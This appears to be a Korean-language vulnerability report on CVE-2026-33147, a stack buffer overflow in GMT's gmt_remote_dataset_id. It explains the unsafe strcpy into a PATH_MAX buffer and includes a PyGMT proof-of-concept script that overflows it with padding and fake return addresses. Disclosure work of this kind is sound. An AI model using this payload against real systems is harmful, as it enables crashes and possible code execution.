
Proof-of-concept 익스플로잇으로, GMT의 `gmt_remote_dataset_id`에서 발생하는 스택 기반 버퍼 오버플로우를 대상으로 하며, 조작된 데이터셋 이름을 통해 크래시 및 잠재적 코드 실행을 시연합니다.
CVE-2026-33147(gmt_remote_dataset_id의 스택 기반 버퍼 오버플로)
src/gmt_remote.c 내의 gmt_remote_dataset_id 함수에서 스택 기반 버퍼 오버플로 취약점이 확인되었습니다. 이 문제는 특수하게 제작된 긴 문자열이 데이터셋 식별자(예: which 모듈을 통해)로 전달될 때 발생하며, 크래시 또는 잠재적인 임의 코드 실행으로 이어질 수 있습니다.
이 취약점은 사용자 제어 데이터셋 이름을 고정 크기 스택 버퍼 file[PATH_MAX]에 복사할 때 strcpy(또는 이와 유사한 무제한 문자열 연산)를 안전하지 않게 사용하여 발생합니다.
입력이 PATH_MAX(일반적으로 4096바이트)를 초과하면 반환 주소를 포함한 스택 프레임을 덮어씁니다. 이는 AddressSanitizer(ASan)를 통해 확인되었으며, stack-buffer-overflow를 보고했습니다.
PyGMT를 사용하는 다음 Python 스크립트는 크래시를 재현합니다:
import struct
from pygmt.clib import Session
with Session() as lib:
# 스택 버퍼를 오버플로하도록 설계된 페이로드
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# 'which' 모듈을 통해 오버플로 트리거
lib.call_module("which", [payload])
이것은 메모리 안전 취약점입니다.